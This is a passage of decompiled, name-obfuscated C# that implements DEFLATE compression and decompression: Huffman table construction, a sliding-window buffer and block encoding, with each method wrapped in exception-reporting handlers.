          obj1 = Math.Min(Math.Min(obj1, \u0006.\u0003.\u0001 - this.\u0004), obj0.\u0004());
          num1 = \u0006.\u0003.\u0001 - this.\u0003;
          if (obj1 > num1)
          {
            num2 = obj0.\u0003(this.\u0001, this.\u0003, num1);
            if (num2 == num1)
              num2 += obj0.\u0003(this.\u0001, 0, obj1 - num1);
          }
          else
            num2 = obj0.\u0003(this.\u0001, this.\u0003, obj1);
          this.\u0003 = this.\u0003 + num2 & \u0006.\u0003.\u0002;
          this.\u0004 += num2;
          return num2;
        }
        catch (Exception ex)
        {
          // ISSUE: variable of a boxed type
          __Boxed<int> local1 = (ValueType) num2;
          // ISSUE: variable of a boxed type
          __Boxed<int> local2 = (ValueType) num1;
          \u0006.\u0002 obj = obj0;
          // ISSUE: variable of a boxed type
          __Boxed<int> local3 = (ValueType) obj1;
          throw UnhandledException.\u0003(ex, (object) local1, (object) local2, (object) this, (object) obj, (object) local3);
        }
      }

      public int \u0003()
      {
        try
        {
          return \u0006.\u0003.\u0001 - this.\u0004;
        }
        catch (Exception ex)
        {
          throw UnhandledException.\u0003(ex, (object) this);
        }
      }

      public int \u0004()
      {
        try
        {
          return this.\u0004;
        }
        catch (Exception ex)
        {
          throw UnhandledException.\u0003(ex, (object) this);
        }
      }

      public int \u0003([In] byte[] obj0, [In] int obj1, [In] int obj2)
      {
        int num1;
        int num2;
        int length;
        try
        {
          num1 = this.\u0003;
          if (obj2 > this.\u0004)
            obj2 = this.\u0004;
          else
            num1 = this.\u0003 - this.\u0004 + obj2 & \u0006.\u0003.\u0002;
          num2 = obj2;
          length = obj2 - num1;
          if (length > 0)
          {
            Array.Copy((Array) this.\u0001, \u0006.\u0003.\u0001 - length, (Array) obj0, obj1, length);
            obj1 += length;
            obj2 = num1;
          }
          Array.Copy((Array) this.\u0001, num1 - obj2, (Array) obj0, obj1, obj2);
          this.\u0004 -= num2;
          if (this.\u0004 < 0)
            throw new InvalidOperationException();
          return num2;
        }
        catch (Exception ex)
        {
          // ISSUE: variable of a boxed type
          __Boxed<int> local1 = (ValueType) num1;
          // ISSUE: variable of a boxed type
          __Boxed<int> local2 = (ValueType) num2;
          // ISSUE: variable of a boxed type
          __Boxed<int> local3 = (ValueType) length;
          byte[] numArray = obj0;
          // ISSUE: variable of a boxed type
          __Boxed<int> local4 = (ValueType) obj1;
          // ISSUE: variable of a boxed type
          __Boxed<int> local5 = (ValueType) obj2;
          throw UnhandledException.\u0003(ex, (object) local1, (object) local2, (object) local3, (object) this, (object) numArray, (object) local4, (object) local5);
        }
      }

      public \u0003()
      {
        try
        {
        }
        catch (Exception ex)
        {
          throw UnhandledException.\u0003(ex, (object) this);
        }
      }

      static \u0003()
      {
        try
        {
          \u0006.\u0003.\u0001 = 32768;
          \u0006.\u0003.\u0002 = \u0006.\u0003.\u0001 - 1;
        }
        catch (Exception ex)
        {
          throw UnhandledException.\u0003(ex);
        }
      }
    }

    internal sealed class \u0004
    {
      private static int \u0001;
      private short[] \u0001;
      public static \u0006.\u0004 \u0001;
      public static \u0006.\u0004 \u0002;

      static \u0004()
      {
        int num;
        byte[] numArray1;
        try
        {
          \u0006.\u0004.\u0001 = 15;
          numArray1 = new byte[288];
          num = 0;
          while (num < 144)
            numArray1[num++] = (byte) 8;
          while (num < 256)
            numArray1[num++] = (byte) 9;
          while (num < 280)
            numArray1[num++] = (byte) 7;
          while (num < 288)
            numArray1[num++] = (byte) 8;
          \u0006.\u0004.\u0001 = new \u0006.\u0004(numArray1);
          numArray1 = new byte[32];
          num = 0;
          while (num < 32)
            numArray1[num++] = (byte) 5;
          \u0006.\u0004.\u0002 = new \u0006.\u0004(numArray1);
        }
        catch (Exception ex)
        {
          byte[] numArray2 = numArray1;
          // ISSUE: variable of a boxed type
          __Boxed<int> local = (ValueType) num;
          throw UnhandledException.\u0003(ex, (object) numArray2, (object) local);
        }
      }

      public \u0004([In] byte[] obj0)
      {
        try
        {
          this.\u0003(obj0);
        }
        catch (Exception ex)
        {
          byte[] numArray = obj0;
          throw UnhandledException.\u0003(ex, (object) this, (object) numArray);
        }
      }

      private void \u0003([In] byte[] obj0)
      {
        int index1;
        int index2;
        int[] numArray1;
        int num1;
        int length;
        int index3;
        int[] numArray2;
        int num2;
        int num3;
        int num4;
        int index4;
        int num5;
        int num6;
        int num7;
        int index5;
        int index6;
        int index7;
        int num8;
        int num9;
        try
        {
          numArray1 = new int[\u0006.\u0004.\u0001 + 1];
          numArray2 = new int[\u0006.\u0004.\u0001 + 1];
          for (index1 = 0; index1 < obj0.Length; ++index1)
          {
            index2 = (int) obj0[index1];
            if (index2 > 0)
              ++numArray1[index2];
          }
          num1 = 0;
          length = 512;
          for (index3 = 1; index3 <= \u0006.\u0004.\u0001; ++index3)
          {
            numArray2[index3] = num1;
            num1 += numArray1[index3] << 16 - index3;
            if (index3 >= 10)
            {
              num2 = numArray2[index3] & 130944;
              num3 = num1 & 130944;
              length += num3 - num2 >> 16 - index3;
            }
          }
          this.\u0001 = new short[length];
          num4 = 512;
          for (index4 = \u0006.\u0004.\u0001; index4 >= 10; --index4)
          {
            num5 = num1 & 130944;
            num1 -= numArray1[index4] << 16 - index4;
            num6 = num1 & 130944;
            for (num7 = num6; num7 < num5; num7 += 128)
            {
              this.\u0001[(int) \u0006.\u0007.\u0003(num7)] = (short) (-num4 << 4 | index4);
              num4 += 1 << index4 - 9;
            }
          }
          for (index5 = 0; index5 < obj0.Length; ++index5)
          {
            index6 = (int) obj0[index5];
            if (index6 != 0)
            {
              num1 = numArray2[index6];
              index7 = (int) \u0006.\u0007.\u0003(num1);
              if (index6 <= 9)
              {
                do
                {
                  this.\u0001[index7] = (short) (index5 << 4 | index6);
                  index7 += 1 << index6;
                }
                while (index7 < 512);
              }
              else
              {
                num8 = (int) this.\u0001[index7 & 511];
                num9 = 1 << (num8 & 15);
                num8 = -(num8 >> 4);
                do
                {
                  this.\u0001[num8 | index7 >> 9] = (short) (index5 << 4 | index6);
                  index7 += 1 << index6;
                }
                while (index7 < num9);
              }
              numArray2[index6] = num1 + (1 << 16 - index6);
            }
          }
        }
        catch (Exception ex)
        {
          object[] objArray = new object[21]
          {
            (object) numArray1,
            (object) numArray2,
            (object) index1,
            (object) index2,
            (object) num1,
            (object) length,
            (object) index3,
            (object) num2,
            (object) num3,
            (object) num4,
            (object) index4,
            (object) num5,
            (object) num6,
            (object) num7,
            (object) index5,
            (object) index6,
            (object) index7,
            (object) num8,
            (object) num9,
            (object) this,
            (object) obj0
          };
          throw UnhandledException.\u0003(ex, objArray);
        }
      }

      public int \u0003([In] \u0006.\u0002 obj0)
      {
        int index;
        int num1;
        int num2;
        int num3;
        int num4;
        int num5;
        try
        {
          if ((index = obj0.\u0003(9)) >= 0)
          {
            if ((num1 = (int) this.\u0001[index]) >= 0)
            {
              obj0.\u0003(num1 & 15);
              return num1 >> 4;
            }
            num2 = -(num1 >> 4);
            num3 = num1 & 15;
            if ((index = obj0.\u0003(num3)) >= 0)
            {
              num1 = (int) this.\u0001[num2 | index >> 9];
              obj0.\u0003(num1 & 15);
              return num1 >> 4;
            }
            num4 = obj0.\u0003();
            index = obj0.\u0003(num4);
            num1 = (int) this.\u0001[num2 | index >> 9];
            if ((num1 & 15) > num4)
              return -1;
            obj0.\u0003(num1 & 15);
            return num1 >> 4;
          }
          num5 = obj0.\u0003();
          index = obj0.\u0003(num5);
          num1 = (int) this.\u0001[index];
          if (num1 < 0 || (num1 & 15) > num5)
            return -1;
          obj0.\u0003(num1 & 15);
          return num1 >> 4;
        }
        catch (Exception ex)
        {
          // ISSUE: variable of a boxed type
          __Boxed<int> local1 = (ValueType) index;
          // ISSUE: variable of a boxed type
          __Boxed<int> local2 = (ValueType) num1;
          // ISSUE: variable of a boxed type
          __Boxed<int> local3 = (ValueType) num2;
          // ISSUE: variable of a boxed type
          __Boxed<int> local4 = (ValueType) num3;
          // ISSUE: variable of a boxed type
          __Boxed<int> local5 = (ValueType) num4;
          // ISSUE: variable of a boxed type
          __Boxed<int> local6 = (ValueType) num5;
          \u0006.\u0002 obj = obj0;
          throw UnhandledException.\u0003(ex, (object) local1, (object) local2, (object) local3, (object) local4, (object) local5, (object) local6, (object) this, (object) obj);
        }
      }
    }

    internal sealed class \u0005
    {
      private static readonly int[] \u0001;
      private static readonly int[] \u0002;
      private byte[] \u0001;
      private byte[] \u0002;
      private \u0006.\u0004 \u0001;
      private int \u0001;
      private int \u0002;
      private int \u0003;
      private int \u0004;
      private int \u0005;
      private int \u0006;
      private byte \u0001;
      private int \u0007;
      private static readonly int[] \u0003;

      public \u0005()
      {
        try
        {
        }
        catch (Exception ex)
        {
          throw UnhandledException.\u0003(ex, (object) this);
        }
      }

      public bool \u0003([In] \u0006.\u0002 obj0)
      {
        int num1;
        int num2;
        int num3;
        byte num4;
        int num5;
        int num6;
        int num7;
        int num8;
        try
        {
          while (true)
          {
            num8 = this.\u0001;
            switch (num8)
            {
              case 0:
                this.\u0002 = obj0.\u0003(5);
                if (this.\u0002 >= 0)
                {
                  this.\u0002 += 257;
                  obj0.\u0003(5);
                  this.\u0001 = 1;
                  goto case 1;
                }
                else
                  goto label_2;
              case 1:
                this.\u0003 = obj0.\u0003(5);
                if (this.\u0003 >= 0)
                {
                  ++this.\u0003;
                  obj0.\u0003(5);
                  this.\u0005 = this.\u0002 + this.\u0003;
                  this.\u0002 = new byte[this.\u0005];
                  this.\u0001 = 2;
                  goto case 2;
                }
                else
                  goto label_5;
              case 2:
                this.\u0004 = obj0.\u0003(4);
                if (this.\u0004 >= 0)
                {
                  this.\u0004 += 4;
                  obj0.\u0003(4);
                  this.\u0001 = new byte[19];
                  this.\u0007 = 0;
                  this.\u0001 = 3;
                  goto case 3;
                }
                else
                  goto label_8;
              case 3:
                for (; this.\u0007 < this.\u0004; ++this.\u0007)
                {
                  num1 = obj0.\u0003(3);
                  if (num1 < 0)
                    return false;
                  obj0.\u0003(3);
                  this.\u0001[\u0006.\u0005.\u0003[this.\u0007]] = (byte) num1;
                }
                this.\u0001 = new \u0006.\u0004(this.\u0001);
                this.\u0001 = (byte[]) null;
                this.\u0007 = 0;
                this.\u0001 = 4;
                goto case 4;
              case 4:
                while (((num3 = this.\u0001.\u0003(obj0)) & -16) == 0)
                {
                  byte[] numArray = this.\u0002;
                  num2 = this.\u0007++;
                  int index = num2;
                  this.\u0001 = num4 = (byte) num3;
                  int num9 = (int) num4;
                  numArray[index] = (byte) num9;
                  if (this.\u0007 == this.\u0005)
                    return true;
                }
                if (num3 >= 0)
                {
                  if (num3 >= 17)
                    this.\u0001 = (byte) 0;
                  this.\u0006 = num3 - 16;
                  this.\u0001 = 5;
                  goto case 5;
                }
                else
                  goto label_19;
              case 5:
                num5 = \u0006.\u0005.\u0002[this.\u0006];
                num6 = obj0.\u0003(num5);
                if (num6 >= 0)
                {
                  obj0.\u0003(num5);
                  num6 += \u0006.\u0005.\u0001[this.\u0006];
                  while (num6-- > 0)
                  {
                    byte[] numArray = this.\u0002;
                    num7 = this.\u0007++;
                    int index = num7;
                    int num10 = (int) this.\u0001;
                    numArray[index] = (byte) num10;
                  }
                  if (this.\u0007 != this.\u0005)
                  {
                    this.\u0001 = 4;
                    continue;
                  }
                  goto label_29;
                }
                else
                  goto label_24;
              default:
                continue;
            }
          }
label_2:
          return false;
label_5:
          return false;
label_8:
          return false;
label_19:
          return false;
label_24:
          return false;
label_29:
          return true;
        }
        catch (Exception ex)
        {
          // ISSUE: variable of a boxed type
          __Boxed<int> local1 = (ValueType) num1;
          // ISSUE: variable of a boxed type
          __Boxed<int> local2 = (ValueType) num3;
          // ISSUE: variable of a boxed type
          __Boxed<int> local3 = (ValueType) num5;
          // ISSUE: variable of a boxed type
          __Boxed<int> local4 = (ValueType) num6;
          // ISSUE: variable of a boxed type
          __Boxed<int> local5 = (ValueType) num8;
          // ISSUE: variable of a boxed type
          __Boxed<int> local6 = (ValueType) num2;
          // ISSUE: variable of a boxed type
          __Boxed<byte> local7 = (ValueType) num4;
          // ISSUE: variable of a boxed type
          __Boxed<int> local8 = (ValueType) num7;
          \u0006.\u0002 obj = obj0;
          throw UnhandledException.\u0003(ex, (object) local1, (object) local2, (object) local3, (object) local4, (object) local5, (object) local6, (object) local7, (object) local8, (object) this, (object) obj);
        }
      }

      public \u0006.\u0004 \u0003()
      {
        byte[] destinationArray;
        try
        {
          destinationArray = new byte[this.\u0002];
          Array.Copy((Array) this.\u0002, 0, (Array) destinationArray, 0, this.\u0002);
          return new \u0006.\u0004(destinationArray);
        }
        catch (Exception ex)
        {
          byte[] numArray = destinationArray;
          throw UnhandledException.\u0003(ex, (object) numArray, (object) this);
        }
      }

      public \u0006.\u0004 \u0004()
      {
        byte[] destinationArray;
        try
        {
          destinationArray = new byte[this.\u0003];
          Array.Copy((Array) this.\u0002, this.\u0002, (Array) destinationArray, 0, this.\u0003);
          return new \u0006.\u0004(destinationArray);
        }
        catch (Exception ex)
        {
          byte[] numArray = destinationArray;
          throw UnhandledException.\u0003(ex, (object) numArray, (object) this);
        }
      }

      static \u0005()
      {
        try
        {
          \u0006.\u0005.\u0001 = new int[3]
          {
            3,
            3,
            11
          };
          \u0006.\u0005.\u0002 = new int[3]{ 2, 3, 7 };
          \u0006.\u0005.\u0003 = new int[19]
          {
            16,
            17,
            18,
            0,
            8,
            7,
            9,
            6,
            10,
            5,
            11,
            4,
            12,
            3,
            13,
            2,
            14,
            1,
            15
          };
        }
        catch (Exception ex)
        {
          throw UnhandledException.\u0003(ex);
        }
      }
    }

    internal sealed class \u0006
    {
      private int \u0001 = 16;
      private long \u0001;
      private \u0006.\u000E \u0001;
      private \u0006.\u0008 \u0001;

      public \u0006()
      {
        try
        {
          this.\u0001 = new \u0006.\u000E();
          this.\u0001 = new \u0006.\u0008(this.\u0001);
        }
        catch (Exception ex)
        {
          throw UnhandledException.\u0003(ex, (object) this);
        }
      }

      [SpecialName]
      public long \u0003()
      {
        try
        {
          return this.\u0001;
        }
        catch (Exception ex)
        {
          throw UnhandledException.\u0003(ex, (object) this);
        }
      }

      public void \u0003()
      {
        try
        {
          this.\u0001 |= 12;
        }
        catch (Exception ex)
        {
          throw UnhandledException.\u0003(ex, (object) this);
        }
      }

      [SpecialName]
      public bool \u0003()
      {
        try
        {
          return this.\u0001 == 30 && this.\u0001.\u0003();
        }
        catch (Exception ex)
        {
          throw UnhandledException.\u0003(ex, (object) this);
        }
      }

      [SpecialName]
      public bool \u0004()
      {
        try
        {
          return this.\u0001.\u0003();
        }
        catch (Exception ex)
        {
          throw UnhandledException.\u0003(ex, (object) this);
        }
      }

      public void \u0003([In] byte[] obj0)
      {
        try
        {
          this.\u0001.\u0003(obj0);
        }
        catch (Exception ex)
        {
          byte[] numArray = obj0;
          throw UnhandledException.\u0003(ex, (object) this, (object) numArray);
        }
      }

      public int \u0003([In] byte[] obj0)
      {
        int length;
        int num1;
        int num2;
        int num3;
        int num4;
        try
        {
          num2 = 0;
          length = obj0.Length;
          num1 = length;
          while (true)
          {
            do
            {
              do
              {
                num3 = this.\u0001.\u0003(obj0, num2, length);
                num2 += num3;
                this.\u0001 += (long) num3;
                length -= num3;
                if (length == 0 || this.\u0001 == 30)
                  goto label_12;
              }
              while (this.\u0001.\u0004((this.\u0001 & 4) != 0, (this.\u0001 & 8) != 0));
              if (this.\u0001 == 16)
                return num1 - length;
              if (this.\u0001 == 20)
              {
                for (num4 = 8 + (-this.\u0001.\u0003() & 7); num4 > 0; num4 -= 10)
                  this.\u0001.\u0003(2, 10);
                this.\u0001 = 16;
              }
            }
            while (this.\u0001 != 28);
            this.\u0001.\u0003();
            this.\u0001 = 30;
          }
label_12:
          return num1 - length;
        }
        catch (Exception ex)
        {
          // ISSUE: variable of a boxed type
          __Boxed<int> local1 = (ValueType) num2;
          // ISSUE: variable of a boxed type
          __Boxed<int> local2 = (ValueType) length;
          // ISSUE: variable of a boxed type
          __Boxed<int> local3 = (ValueType) num1;
          // ISSUE: variable of a boxed type
          __Boxed<int> local4 = (ValueType) num3;
          // ISSUE: variable of a boxed type
          __Boxed<int> local5 = (ValueType) num4;
          byte[] numArray = obj0;
          throw UnhandledException.\u0003(ex, (object) local1, (object) local2, (object) local3, (object) local4, (object) local5, (object) this, (object) numArray);
        }
      }
    }

    internal sealed class \u0007
    {
      private static int \u0001;
      private static int \u0002;
      private static int \u0003;
      private static int \u0004;
      private static int \u0005;
      private static int \u0006;
      private static int \u0007;
      private static int \u0008;
      private static int[] \u0001;
      private static byte[] \u0001;
      private \u0006.\u000E \u0001;
      private \u0006.\u0007.\u0001 \u0001;
      private \u0006.\u0007.\u0001 \u0002;
      private \u0006.\u0007.\u0001 \u0003;
      private short[] \u0001;
      private byte[] \u0002;
      private int \u000E;
      private int \u000F;
      private static short[] \u0002;
      private static byte[] \u0003;
      private static short[] \u0003;
      private static byte[] \u0004;

      public static short \u0003([In] int obj0)
      {
        try
        {
          return (short) ((int) \u0006.\u0007.\u0001[obj0 & 15] << 12 | (int) \u0006.\u0007.\u0001[obj0 >> 4 & 15] << 8 | (int) \u0006.\u0007.\u0001[obj0 >> 8 & 15] << 4 | (int) \u0006.\u0007.\u0001[obj0 >> 12]);
        }
        catch (Exception ex)
        {
          // ISSUE: variable of a boxed type
          __Boxed<int> local = (ValueType) obj0;
          throw UnhandledException.\u0003(ex, (object) local);
        }
      }

      static \u0007()
      {
        int index;
        try
        {
          \u0006.\u0007.\u0001 = 16384;
          \u0006.\u0007.\u0002 = 286;
          \u0006.\u0007.\u0003 = 30;
          \u0006.\u0007.\u0004 = 19;
          \u0006.\u0007.\u0005 = 16;
          \u0006.\u0007.\u0006 = 17;
          \u0006.\u0007.\u0007 = 18;
          \u0006.\u0007.\u0008 = 256;
          \u0006.\u0007.\u0001 = new int[19]
          {
            16,
            17,
            18,
            0,
            8,
            7,
            9,
            6,
            10,
            5,
            11,
            4,
            12,
            3,
            13,
            2,
            14,
            1,
            15
          };
          \u0006.\u0007.\u0001 = new byte[16]
          {
            (byte) 0,
            (byte) 8,
            (byte) 4,
            (byte) 12,
            (byte) 2,
            (byte) 10,
            (byte) 6,
            (byte) 14,
            (byte) 1,
            (byte) 9,
            (byte) 5,
            (byte) 13,
            (byte) 3,
            (byte) 11,
            (byte) 7,
            (byte) 15
          };
          \u0006.\u0007.\u0002 = new short[\u0006.\u0007.\u0002];
          \u0006.\u0007.\u0003 = new byte[\u0006.\u0007.\u0002];
          for (index = 0; index < 144; \u0006.\u0007.\u0003[index++] = (byte) 8)
            \u0006.\u0007.\u0002[index] = \u0006.\u0007.\u0003(48 + index << 8);
          for (; index < 256; \u0006.\u0007.\u0003[index++] = (byte) 9)
            \u0006.\u0007.\u0002[index] = \u0006.\u0007.\u0003(256 + index << 7);
          for (; index < 280; \u0006.\u0007.\u0003[index++] = (byte) 7)
            \u0006.\u0007.\u0002[index] = \u0006.\u0007.\u0003(index - 256 << 9);
          for (; index < \u0006.\u0007.\u0002; \u0006.\u0007.\u0003[index++] = (byte) 8)
            \u0006.\u0007.\u0002[index] = \u0006.\u0007.\u0003(index - 88 << 8);
          \u0006.\u0007.\u0003 = new short[\u0006.\u0007.\u0003];
          \u0006.\u0007.\u0004 = new byte[\u0006.\u0007.\u0003];
          for (index = 0; index < \u0006.\u0007.\u0003; ++index)
          {
            \u0006.\u0007.\u0003[index] = \u0006.\u0007.\u0003(index << 11);
            \u0006.\u0007.\u0004[index] = (byte) 5;
          }
        }
        catch (Exception ex)
        {
          // ISSUE: variable of a boxed type
          __Boxed<int> local = (ValueType) index;
          throw UnhandledException.\u0003(ex, (object) local);
        }
      }

      public \u0007([In] \u0006.\u000E obj0)
      {
        try
        {
          this.\u0001 = obj0;
          this.\u0001 = new \u0006.\u0007.\u0001(this, \u0006.\u0007.\u0002, 257, 15);
          this.\u0002 = new \u0006.\u0007.\u0001(this, \u0006.\u0007.\u0003, 1, 15);
          this.\u0003 = new \u0006.\u0007.\u0001(this, \u0006.\u0007.\u0004, 4, 7);
          this.\u0001 = new short[\u0006.\u0007.\u0001];
          this.\u0002 = new byte[\u0006.\u0007.\u0001];
        }
        catch (Exception ex)
        {
          \u0006.\u000E obj = obj0;
          throw UnhandledException.\u0003(ex, (object) this, (object) obj);
        }
      }

      public void \u0003()
      {
        try
        {
          this.\u000E = 0;
          this.\u000F = 0;
        }
        catch (Exception ex)
        {
          throw UnhandledException.\u0003(ex, (object) this);
        }
      }

      private int \u0003([In] int obj0)
      {
        int num;
        try
        {
          if (obj0 == (int) byte.MaxValue)
            return 285;
          num = 257;
          for (; obj0 >= 8; obj0 >>= 1)
            num += 4;
          return num + obj0;
        }
        catch (Exception ex)
        {
          // ISSUE: variable of a boxed type
          __Boxed<int> local1 = (ValueType) num;
          // ISSUE: variable of a boxed type
          __Boxed<int> local2 = (ValueType) obj0;
          throw UnhandledException.\u0003(ex, (object) local1, (object) this, (object) local2);
        }
      }

      private int \u0004([In] int obj0)
      {
        int num;
        try
        {
          num = 0;
          for (; obj0 >= 4; obj0 >>= 1)
            num += 2;
          return num + obj0;
        }
        catch (Exception ex)
        {
          // ISSUE: variable of a boxed type
          __Boxed<int> local1 = (ValueType) num;
          // ISSUE: variable of a boxed type
          __Boxed<int> local2 = (ValueType) obj0;
          throw UnhandledException.\u0003(ex, (object) local1, (object) this, (object) local2);
        }
      }

      public void \u0003([In] int obj0)
      {
        int index;
        try
        {
          this.\u0003.\u0003();
          this.\u0001.\u0003();
          this.\u0002.\u0003();
          this.\u0001.\u0003(this.\u0001.\u0002 - 257, 5);
          this.\u0001.\u0003(this.\u0002.\u0002 - 1, 5);
          this.\u0001.\u0003(obj0 - 4, 4);
          for (index = 0; index < obj0; ++index)
            this.\u0001.\u0003((int) this.\u0003.\u0001[\u0006.\u0007.\u0001[index]], 3);
          this.\u0001.\u0004(this.\u0003);
          this.\u0002.\u0004(this.\u0003);
        }
        catch (Exception ex)
        {
          // ISSUE: variable of a boxed type
          __Boxed<int> local1 = (ValueType) index;
          // ISSUE: variable of a boxed type
          __Boxed<int> local2 = (ValueType) obj0;
          throw UnhandledException.\u0003(ex, (object) local1, (object) this, (object) local2);
        }
      }

      public void \u0004()
      {
        int num1;
        int index;
        int num2;
        int num3;
        int num4;
        int num5;
        try
        {
          for (index = 0; index < this.\u000E; ++index)
          {
            num1 = (int) this.\u0002[index] & (int) byte.MaxValue;
            num2 = (int) this.\u0001[index];
            if (num2-- != 0)
            {
              num3 = this.\u0003(num1);
              this.\u0001.\u0003(num3);
              num4 = (num3 - 261) / 4;
              if (num4 > 0 && num4 <= 5)
                this.\u0001.\u0003(num1 & (1 << num4) - 1, num4);
              num5 = this.\u0004(num2);
              this.\u0002.\u0003(num5);
              num4 = num5 / 2 - 1;
              if (num4 > 0)
                this.\u0001.\u0003(num2 & (1 << num4) - 1, num4);
            }
            else
              this.\u0001.\u0003(num1);
          }
          this.\u0001.\u0003(\u0006.\u0007.\u0008);
        }
        catch (Exception ex)
        {
          // ISSUE: variable of a boxed type
          __Boxed<int> local1 = (ValueType) index;
          // ISSUE: variable of a boxed type
          __Boxed<int> local2 = (ValueType) num1;
          // ISSUE: variable of a boxed type
          __Boxed<int> local3 = (ValueType) num2;
          // ISSUE: variable of a boxed type
          __Boxed<int> local4 = (ValueType) num3;
          // ISSUE: variable of a boxed type
          __Boxed<int> local5 = (ValueType) num4;
          // ISSUE: variable of a boxed type
          __Boxed<int> local6 = (ValueType) num5;
          throw UnhandledException.\u0003(ex, (object) local1, (object) local2, (object) local3, (object) local4, (object) local5, (object) local6, (object) this);
        }
      }

      public void \u0003([In] byte[] obj0, [In] int obj1, [In] int obj2, [In] bool obj3)
      {
        try
        {
          this.\u0001.\u0003(obj3 ? 1 : 0, 3);
          this.\u0001.\u0003();
          this.\u0001.\u0003(obj2);
          this.\u0001.\u0003(~obj2);
          this.\u0001.\u0003(obj0, obj1, obj2);
          this.\u0003();
        }
        catch (Exception ex)
        {
          byte[] numArray = obj0;
          // ISSUE: variable of a boxed type
          __Boxed<int> local1 = (ValueType) obj1;
          // ISSUE: variable of a boxed type
          __Boxed<int> local2 = (ValueType) obj2;
          // ISSUE: variable of a boxed type
          __Boxed<bool> local3 = (ValueType) obj3;
          throw UnhandledException.\u0003(ex, (object) this, (object) numArray, (object) local1, (object) local2, (object) local3);
        }
      }

      public void \u0004([In] byte[] obj0, [In] int obj1, [In] int obj2, [In] bool obj3)
      {
        int num1;
        int index1;
        int num2;
        int num3;
        int index2;
        int index3;
        try
        {
          ++this.\u0001.\u0001[\u0006.\u0007.\u0008];
          this.\u0001.\u0004();
          this.\u0002.\u0004();
          this.\u0001.\u0003(this.\u0003);
          this.\u0002.\u0003(this.\u0003);
          this.\u0003.\u0004();
          num1 = 4;
          for (index1 = 18; index1 > num1; --index1)
          {
            if (this.\u0003.\u0001[\u0006.\u0007.\u0001[index1]] > (byte) 0)
              num1 = index1 + 1;
          }
          num2 = 14 + num1 * 3 + this.\u0003.\u0003() + this.\u0001.\u0003() + this.\u0002.\u0003() + this.\u000F;
          num3 = this.\u000F;
          for (index2 = 0; index2 < \u0006.\u0007.\u0002; ++index2)
            num3 += (int) this.\u0001.\u0001[index2] * (int) \u0006.\u0007.\u0003[index2];
          for (index3 = 0; index3 < \u0006.\u0007.\u0003; ++index3)
            num3 += (int) this.\u0002.\u0001[index3] * (int) \u0006.\u0007.\u0004[index3];
          if (num2 >= num3)
            num2 = num3;
          if (obj1 >= 0 && obj2 + 4 < num2 >> 3)
            this.\u0003(obj0, obj1, obj2, obj3);
          else if (num2 == num3)
          {
            this.\u0001.\u0003(2 + (obj3 ? 1 : 0), 3);
            this.\u0001.\u0003(\u0006.\u0007.\u0002, \u0006.\u0007.\u0003);
            this.\u0002.\u0003(\u0006.\u0007.\u0003, \u0006.\u0007.\u0004);
            this.\u0004();
            this.\u0003();
          }
          else
          {
            this.\u0001.\u0003(4 + (obj3 ? 1 : 0), 3);
            this.\u0003(num1);
            this.\u0004();
            this.\u0003();
          }
        }
        catch (Exception ex)
        {
          object[] objArray = new object[11]
          {
            (object) num1,
            (object) index1,
            (object) num2,
            (object) num3,
            (object) index2,
            (object) index3,
            (object) this,
            (object) obj0,
            (object) obj1,
            (object) obj2,
            (object) obj3
          };
          throw UnhandledException.\u0003(ex, objArray);
        }
      }

      public bool \u0003()
      {
        try
        {
          return this.\u000E >= \u0006.\u0007.\u0001;
        }
        catch (Exception ex)
        {
          throw UnhandledException.\u0003(ex, (object) this);
        }
      }

      public bool \u0003([In] int obj0)
      {
        int num1;
        try
        {
          this.\u0001[this.\u000E] = (short) 0;
          byte[] numArray = this.\u0002;
          num1 = this.\u000E++;
          int index = num1;
          int num2 = (int) (byte) obj0;
          numArray[index] = (byte) num2;
          ++this.\u0001.\u0001[obj0];
          return this.\u0003();
        }
        catch (Exception ex)
        {
          // ISSUE: variable of a boxed type
          __Boxed<int> local1 = (ValueType) num1;
          // ISSUE: variable of a boxed type
          __Boxed<int> local2 = (ValueType) obj0;
          throw UnhandledException.\u0003(ex, (object) local1, (object) this, (object) local2);
        }
      }

      public bool \u0003([In] int obj0, [In] int obj1)
      {
        int num1;
        int index1;
        int index2;
        try
        {
          this.\u0001[this.\u000E] = (short) obj0;
          byte[] numArray = this.\u0002;
          num1 = this.\u000E++;
          int index3 = num1;
          int num2 = (int) (byte) (obj1 - 3);
          numArray[index3] = (byte) num2;
          index1 = this.\u0003(obj1 - 3);
          ++this.\u0001.\u0001[index1];
          if (index1 >= 265 && index1 < 285)
            this.\u000F += (index1 - 261) / 4;
          index2 = this.\u0004(obj0 - 1);
          ++this.\u0002.\u0001[index2];
          if (index2 >= 4)
            this.\u000F += index2 / 2 - 1;
          return this.\u0003();
        }
        catch (Exception ex)
        {
          // ISSUE: variable of a boxed type
          __Boxed<int> local1 = (ValueType) index1;
          // ISSUE: variable of a boxed type
          __Boxed<int> local2 = (ValueType) index2;
          // ISSUE: variable of a boxed type
          __Boxed<int> local3 = (ValueType) num1;
          // ISSUE: variable of a boxed type
          __Boxed<int> local4 = (ValueType) obj0;
          // ISSUE: variable of a boxed type
          __Boxed<int> local5 = (ValueType) obj1;
          throw UnhandledException.\u0003(ex, (object) local1, (object) local2, (object) local3, (object) this, (object) local4, (object) local5);
        }
      }

      public sealed class \u0001
      {
        public short[] \u0001;
        public byte[] \u0001;
        public int \u0001;
        public int \u0002;
        private short[] \u0002;
        private int[] \u0001;
        private int \u0003;
        private \u0006.\u0007 \u0001;

        public \u0001([In] \u0006.\u0007 obj0, [In] int obj1, [In] int obj2, [In] int obj3)
        {
          try
          {
            this.\u0001 = obj0;
            this.\u0001 = obj2;
            this.\u0003 = obj3;
            this.\u0001 = new short[obj1];
            this.\u0001 = new int[obj3];
          }
          catch (Exception ex)
          {
            \u0006.\u0007 obj = obj0;
            // ISSUE: variable of a boxed type
            __Boxed<int> local1 = (ValueType) obj1;
            // ISSUE: variable of a boxed type
            __Boxed<int> local2 = (ValueType) obj2;
            // ISSUE: variable of a boxed type
            __Boxed<int> local3 = (ValueType) obj3;
            throw UnhandledException.\u0003(ex, (object) this, (object) obj, (object) local1, (object) local2, (object) local3);
          }
        }

        public void \u0003([In] int obj0)
        {
          try
          {
            this.\u0001.\u0001.\u0003((int) this.\u0002[obj0] & (int) ushort.MaxValue, (int) this.\u0001[obj0]);
          }
          catch (Exception ex)
          {
            // ISSUE: variable of a boxed type
            __Boxed<int> local = (ValueType) obj0;
            throw UnhandledException.\u0003(ex, (object) this, (object) local);
          }
        }

        public void \u0003([In] short[] obj0, [In] byte[] obj1)
        {
          try
          {
            this.\u0002 = obj0;
            this.\u0001 = obj1;
          }
          catch (Exception ex)
          {
            short[] numArray1 = obj0;
